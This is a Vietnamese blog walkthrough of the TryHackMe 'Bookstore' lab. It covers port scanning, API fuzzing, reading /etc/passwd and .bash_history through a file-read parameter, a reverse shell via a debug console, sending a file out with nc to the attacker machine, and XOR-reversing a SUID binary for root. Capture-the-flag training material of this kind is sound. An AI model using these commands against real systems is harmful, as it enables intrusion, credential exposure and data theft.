Advertisement

Responsive Advertisement

Bookstore – Tryhackme

 

Bước 1: Dò quét cổng dịch vụ

Sử dụng nmap kiểm tra cổng dịch vụ của victim

1.PNG

Ở đây mở 3 cổng 22,80,5000 trong đó 2 cổng chạy dịch vụ web là 80 và 5000

Bước 2: Kiểm tra thu thập thông tin website 

Truy cập cổng 80

Screenshot_1.png

Một tiệm rất nhiều sách đúng như tên gọi, khi bấm mũi tên đi xuống bạn có thể thấy rất nhiều thông tin khác nhau có thể là tác giả viết sách

Ở góc trên bên phải một thanh menu

Screenshot_2.png

Trang Books

Screenshot_3.png

Trang Login

Screenshot_4.png

Kiểm tra mã nguồn phát hiện được phiên bản 3.0 tạo web này từ templated.co

Screenshot_5.png

Không có gì khác biệt cả, mình tiếp tục truy cập web trên port 5000 phát hiện phiên bản REST API là version 2

Screenshot_6.png

Mình thử dò quét các đường dẫn khác

gobusterdir-u http://ip_victim:5000/ -w /usr/share/dirb/wordlists/common.txt -x txt,php,html,zip

Phát hiện một đường dẫn /api

Truy cập vào thấy một danh sách các được dẫn con khácScreenshot_7.png

Mình truy cập thử từng đường dẫn

Screenshot_8.png

Screenshot_9.png

Screenshot_10.png

Đoạn này mình đổi id=1 bằng một số khác bất kỳ và trả về cho mình như sau

Screenshot_11.png

Screenshot_12.png

Screenshot_13.png

Nhận thấy không thu được thông tin gì hữu ích. Mình thử đổi api v2 sang api v1, sau đó thử fuzzing url kiểm tra lỗi RFI

wfuzz -u  http://<ip>:5000/api/v1/resources/books?FUZZ=test -w /usr/share/wordlist/dirb/commont.txt –hc 404

Phát hiện show mình liền thử http://<ip>:5000/api/v1/resources/books?show=/etc/passwd

Thu được thông tin user, thấy có use sid

Screenshot_15.png

Mình thử  truy vấn xem đọc được tệp id_rsa để truy cập ssh nhưng kết quả trả về lỗi

🙄

Mình để ý mấy dòng xanh này viết bằng python, mình click vào thấy một biểu tượng console cuối mình click vào nó yêu cầu mình nhập mã pin, vậy làm sao tìm ra mã pin đó 🙄 🙄

Screenshot_17.png

Mình tiếp tục dùng công cụ ffuf để thử tìm kiếm sau show  mình có thể đọc được những tệp nào trong hệ thống

Screenshot_18.png

Phát hiện có .bash_history đây là nơi lưu trữ tập lệnh đã được thực thi, mình liên truy cập và thu được mã pin

Screenshot_19.png

Đem mã pin đó đi sử dụng thành công có một giao diện thực hiện lệnh python. Mình tìm đến trang reverse shell lấy mã để chạy

Đồng thời máy kali mình cũng mở port lắng nghe kết nối

Screenshot_20.png

Sau đó sẽ làm màn đọc cờ  đầu.

Screenshot_21.png

Sau khi đọc xong cơ đầu bạn để ý có một tệp tin try-harder có thể chạy với quyền user root và group sid có được cài đặt SUID để user sid có thể chạy với đặc quyền của root mà không cần mật khẩu. Mình chạy thử xem sao và thấy nó hỏi một số ảo thuật nào đó ? 😈 😈 😈

Screenshot_22.png

Mình tải tệp tin đó về bằng nc

Trên victim: nc -w 3 ip_kali 4444 < try-harder

Trên kali: nc -lnvp 4444 > try-harder

Sau đó sử dụng công cụ ghydra để đọc tệp tin này, đến hàm chức năng funtion thấy ở đây nó thực hiện tính toán local_14

Khi nào

local_14   = local_1c ^ 0x1116 ^ local_18
0x5dcd21f4 =     ?    ^ 0x1116 ^  0x5db3

Đây là tìm giá trị local_1c bằng bao nhiêu để tính ra local_14 và bạn có thể leo thang lên với quyền /bin/bash

Screenshot_23.png

Ở đây chương trình sử dụng phép xor để tính toán vậy nên mình dùng phép xor bằng python để tìm ra kết quả

Screenshot_24.png

Quay lại máy victim điền số này vào và thành công leo thang

Screenshot_25.png

Chùm cuối phần bạn nhé !!!! the end

Post a Comment

0 Comments